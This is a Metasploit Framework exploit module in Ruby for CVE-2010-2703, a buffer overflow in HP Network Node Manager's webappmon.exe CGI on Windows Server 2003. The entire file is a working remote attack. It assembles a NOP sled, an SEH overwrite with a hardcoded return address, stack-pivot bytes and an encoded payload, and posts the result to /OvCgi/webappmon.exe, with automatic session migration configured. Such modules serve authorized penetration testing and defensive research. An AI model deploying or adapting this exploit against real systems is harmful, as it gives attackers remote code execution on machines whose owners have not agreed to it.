##
# $Id: hp_nnm_webappmon_execvp.rb 12086 2011-03-23 03:38:46Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Seh

  def initialize(info={})
    super(update_info(info,
      'Name'        => "HP NNM CGI webappmon.exe execvp Buffer Overflow",
      'Description' => %q{
        This module exploits a buffer overflow in HP NNM's webappmon.exe.
        The vulnerability occurs when function "execvp_nc" fails to do any bounds-
        checking before strcat is used to append user-supplied input to a buffer.
      },
      'License'    => MSF_LICENSE,
      'Version'    => "$Revision: 12086 $",
      'Author'      =>
        [
          'shahin <shahin[at]abysssec.com>',
          'sinn3r',
        ],
      'References' =>
        [
          ['CVE', '2010-2703'],
          ['OSVDB', '66514'],
        ],
      'Payload'   =>
        {
          'BadChars' => [*(0x00..0x09)].pack("C*") + [*(0x0a..0x0f)].pack("C*") + [*(0x10..0x1f)].pack("C*") + "\x7f",
          'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
          'EncoderOptions' => {'BufferRegister'=>'ECX'},
        },
      'DefaultOptions' =>
        {
          'ExitFunction' => "seh",
          'AutoRunScript' => 'migrate -f',
        },
      'Platform' => 'win',
      'Targets'   =>
        [
          [ 'Windows Server 2003 Ent', {'Ret'=>0x5A30532D} ],
        ],
      'DisclosureDate' => "SEP 6 2010"))

      register_options(
        [
          Opt::RPORT(80),
        ], self.class)
  end

  def exploit
    nops = make_nops(1000)*10

    sploit = nops[0, 5455]
    sploit << generate_seh_record(target.ret)
    sploit << "\x61"*13
    sploit << "\x51"
    sploit << "\xc3"
    sploit << nops[0, 57]
    sploit << payload.encoded
    sploit << nops[0, 10000-sploit.length]

    post_data = "ins=#{sploit}&sel=#{sploit}&app=#{sploit}&act=#{sploit}&arg=#{sploit}&help=#{sploit}&cache=1600 HTTP/1.1"

    connect

    print_status("Sending malicious request...")
    send_request_raw({
      'uri' => '/OvCgi/webappmon.exe',
      'data' => post_data,
      'version' => '1.1',
      'method' => 'POST',
      'headers' => {
        'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
        'Accept-Language' => 'en-us,en;q=0.5',
        'Accept-Encoding' => 'gzip,deflate',
        'Accept-Charset' => 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
        'Keep-Alive' => '300',
        'Connection' => 'Keep-Alive',
        'Cache-Control' => 'max-age=0',
        'Content-Length' => post_data.length,
        'Content-Type' => 'application/x-www-form-urlencoded',
      }
    }, 3)

    handler
    disconnect

  end
end